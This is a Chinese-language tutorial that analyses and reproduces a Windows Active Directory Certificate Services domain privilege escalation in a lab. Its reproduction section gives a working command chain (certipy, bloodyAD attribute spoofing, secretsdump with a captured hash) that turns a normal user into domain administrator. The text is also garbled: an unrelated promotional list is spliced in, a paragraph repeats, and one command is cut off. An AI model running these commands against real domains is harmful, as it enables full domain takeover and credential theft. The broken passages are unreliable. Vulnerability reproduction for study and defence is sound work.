Windows 域提权漏洞分析与复现
漏洞概述
当 Windows 系统的 Active Directory 证书服务(CS)在域上运行时,由于机器账号中的 dNSHostName 属性不具有唯一性,域中普通用户可以将其更改为高权限的域控机器账号属性,然后从 Active Directory 证书服务中获取域控机器账户的证书,导致域中普通用户权限提升为域管理员权限。这一漏洞最早由安全研究员 Oliver Lyak 发现并公开分析过程和 POC,微软在 2022 年 5 月的安全更新中对其进行了修补。
影响范围
影响范围较广,包括 Win8.1、Win10、Win11、Win Server 2012 R2、Win Server 2016、Win Server 2019、Win Server 2022 等版本,详细版本号可以参考微软官方的公告(参考链接)。
复现环境
操作系统:
Win10、Win Server 2016、Kali-linux-2022.1。
分析工具:
ADExplorer、Certipy、bloodyAD、impacket、PKINITtools。
分析过程
关于这个漏洞的分析和复现文章网上已经很多了,但是笔者在分析和复现这个漏洞时遇到的一些“坑”大多并未提及。所以,今天主要分享遇到的问题和解决方法。
首先设置 Win Server 2016 的 IP 地址为固定 IP,然后设置其 DNS 服务器地址。测试时域控服务器的计算机名为 dc,IP 为 192.168.220.160,网关为 192.168.220.1
①网络安全学习路线
②20 份渗透测试电子书
③安全攻防 357 页笔记
④50 份安全攻防面试指南
⑤安全红队渗透工具包
⑥信息收集 80 条搜索语法
⑦100 个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年 CTF 夺旗赛题解析
接下来是安装域控环境。在 Win Server 2016 安装域控环境比较简单,安装时,使用超级管理员 Administrator 登录,然后在服务管理器的仪表盘界面选择添加角色和功能,在弹出的向导中按照默认选项,直接“下一步”即可,注意在服务器角色界面中勾选“Active Directory 域服务”即可,如下图所示:
域服务安装完成后,选择“将此服务器提升为域控制器”,如下图所示:
然后选择“添加新林”指定根域名,笔者测试时设置的是:fenghuotai.local,如下图所示:
其他的选项按照默认设置就可以了,另外,安装过程中会自动安装 DNS 服务器,安装成功后需要重启计算机。
最后是安装域证书服务。还是在服务管理器的仪表盘界面选择添加角色和功能,在弹出的向导中按照默认选项,直接“下一步”即可,注意在服务器角色界面中勾选“Active Directory 证书服务”即可,如下图所示:
然后在选择角色服务的步骤中,需要额外再选择“证书颁发机构 Web 注册”,如下图所示:
域证书服务安装成功后,需要再配置域证书服务,如下图所示:
在配置域证书服务中,需要选择“证书颁发机构”和“证书颁发机构 Web 注册”,如下图所示:
最后再选择“企业证书”(如果不是域成员,无法选择该选项,但默认账号 Administrator 可以),如下图所示:
其他选项按照默认设置即可。
域控服务和域证书服务安装成功后,在服务管理器的仪表盘的工具菜单中选择“Active Directory 管理中心”,然后在 Users 分组下新建一个用户账号,输入密码和选择“密码永不过期”,模拟加入域环境的普通用户账号。分析时使用的普通用户账号是 testcve,如下图所示:
域普通用户账号建立好后,再选择另外一台计算机,测试时使用的是 64 位的 Win10 系统,计算机名为 testmachine,加入刚建立的域 fenghuotai.local,然后使用刚建立的域普通用户账号 testcve 登录(加入域的方法请自行搜索,此步骤无特殊设置)。到此,测试环境就搭建好了。
以域普通用户账号 testcve 登录 Win10 计算机后,使用 ADExplorer 工具分析该提权漏洞产生的原因。
ADExplorer 工具需要先登录,分析时使用普通域用户账号 testcve 登录 fenghuotai.local 域,如下图所示:
登录成功后,展开左边的树形控件“DC=fenghuotai,DC=local”,然后再展开“CN=Computers”和“CN=Users”,可以分别看到刚才新加入域的名为 CN=TESTMACHINE 的 win10 计算机机器账号和普通域用户账号 CN=testcve,这两个账号均包含了很多属性值,如下图所示:
每个属性的具体含义可以参考微软官方的帮助文档,此次分析只关注该漏洞相关的属性。默认情况下,域用户账号可以申请 User 证书,域计算机机器账号可以申请 Machine 证书,两个证书都允许客戶端身份验证。
展开 Computers 分组,选中刚才加入域的计算机 CN=TESTMACHINE,其中一项属性 dNSHostName 的内容为 testmachine.fenghuotai.local,testmachine 就是新加入域的 Win10 计算机的计算机名,这个属性是向域证书服务申请机器账号证书时用于标识指定计算机机器账号的,也就是说 dNSHostName 的内容和机器证书是绑定的,不同机器账号的 dNSHostName 内容,就会得到不同的证书。另外属性 sAMAccountName 的内容为 TESTMACHINE$,这个属性作为计算机机器账号名,如下图所示:
那么可以将 dNSHostName 的内容改为域控服务器的内容吗?如果可以的话,岂不是就伪造成域控服务器的机器账号了吗?尝试将其内容改为 dc.fenghuotai.local,却会得到一个错误,更改失败,如下图所示:
为什么会出现这个错误?因为 dNSHostName 属性和另外一个 servicePrincipalName 属性是相关联的,更改 dNSHostName 属性后,域控服务器将自动更新 servicePrincipalName 属性的值。这样就导致和原域控服务器机器账号的 servicePrincipalName 属性冲突了。TESTMACHINE$机器账号属性 servicePrincipalName 中的内容,如下图所示:
但是如果删除了其 servicePrincipalName 属性中的两项内容 RestrictedKrbHost/testmachine.fenghuotai.local 和 HOST/testmachine.fenghuotai.local,更改 dNSHostName 属性的内容为 dc.fenghuotai.local,不会导致冲突,更改将会成功。
属性 servicePrincipalName 中删除了两项后的内容,如下图所示:
但是如果删除了其 servicePrincipalName 属性中的两项内容 RestrictedKrbHost/testmachine.fenghuotai.local 和 HOST/testmachine.fenghuotai.local,更改 dNSHostName 属性的内容为 dc.fenghuotai.local,不会导致冲突,更改将会成功。
属性 servicePrincipalName 中删除了两项后的内容,如下图所示:
dNSHostName 属性的内容成功更改为域控服务器的内容 dc.fenghuotai.local,如下图所示:
到此,普通机器账号 TESTMACHINE,然后从 Active Directory 证书服务中申请到域控机器账户的证书,导致域中普通用户权限提升为域管理员权限。
利用场景
根据该漏洞的分析结果,想要成功利用该漏洞,需要满足如下几个条件:
1、域控服务器系统版本
Win8.1、Win10、Win11、Win Server 2012 R2、Win Server 2016、Win Server 2019、Win Server 2022 等版本,详细版本号可以参考微软官方的公告(参考链接)。
2、域内普通用户账号权限
需要获取域内至少一个普通用户账号权限,并且需要该账户对 dNSHostName 等属性具有相应的权限。默认情况,普通用户账号具有该权限。
3、企业证书服务
域内部署有企业证书服务,并允许被控制的计算机账户申请计算机身份验证证书。
复现过程
环境搭建过程不再赘述,参照分析过程即可,攻击机选择 Kali-linux-2022.1,需要安装额外的工具 Certipy、bloodyAD、impacket、PKINITtools
首先需要获取域控服务器,域证书服务器的一些基本信息。在受控的主机上执行 powershell 命令 Get-ChildItem Cert:\LocalMachine\Root\,得到域证书服务器地址 fenghuotai-DC-CA,域控服务器地址 fenghuotai.local,域控计算机名为 dc,如下图所示:
设置攻击机的 DNS 服务器地址为域控 DNS 服务器地址,或者在本地 hosts 文件中设置域控和与证书服务器域名的 ip,不然会导致无法解析域名等错误。设置 kali 的 hosts 文件内容,如下图所示:
复现环境准备好后,先使用掌握的域内普通用户账号申请证书,并验证登录,测试复现环境是否异常。申请证书命令 certipy req 'fenghuotai.local/testcve:1qaz3edc.@dc.fenghuotai.local' -ca fenghuotai-DC-CA -template User
可能会遇到 NETBIOS 超时现象,重新执行一次申请证书命令即可。
申请用户账号证书成功后,执行命令 certipy auth -pfx testcve.pfx 验证该证书,获取其 NT hash,如下图所示:
成功获取到了 NT hash,说明测试环境没问题。如果遇到错误(特别是还原域控虚拟机后),说明域控有些服务没正确启动。需要重启域控服务器,待仪表板上的服务项启动后,或者手动启动后,再重启 Kerberos Key Distribution Center(kdc)服务。不知道实战中是否会遇到该错误,如果遇到了,后面的利用就无法进行了。
使用命令 python bloodyAD.py -d fenghuotai.local -u testcve -p '1qaz3edc.' --host 192.168.220.160 addComputer pwnmachine 'CVEPassword1234*',新建一台名为 pwnmachine,密码为 CVEPassword1234*的机器账号,如下图所示:
然后使用命令 python bloodyAD.py -d fenghuotai.local -u testcve -p '1qaz3edc.' --host 192.168.220.160 setAttribute 'CN=pwnmachine,CN=Computers,DC=fenghuotai,DC=local' dNSHostName '["dc.fenghuotai.local"]',设置其 dNSHostName 属性为域控服务器属性,如下图所示:
设置成功后使用命令 certipy req 'fenghuotai.local/pwnmachine的证书,其实申请到的是域控 dc$的证书,如下图所示:
获取到域控的机器账号证书后,使用命令 certipy auth -pfx ./dc.pfx -dc-ip 192.168.220.160 进行登录验证,获取其 NT hash,如下图所示:
然后使用 impacket 工具 examples 目录下的 secretsdump.py 脚本,命令为 python3 secretsdump.py 'fenghuotai.local/dc$@dc.fenghuotai.local' -hashes :d396bce5a7bf19ed7bfa58b8f923357a,获取域内所有账号 hash,如下图所示:
当然,还可以使用 PKINITtools 工具,获取域控最高权限 shell。
评论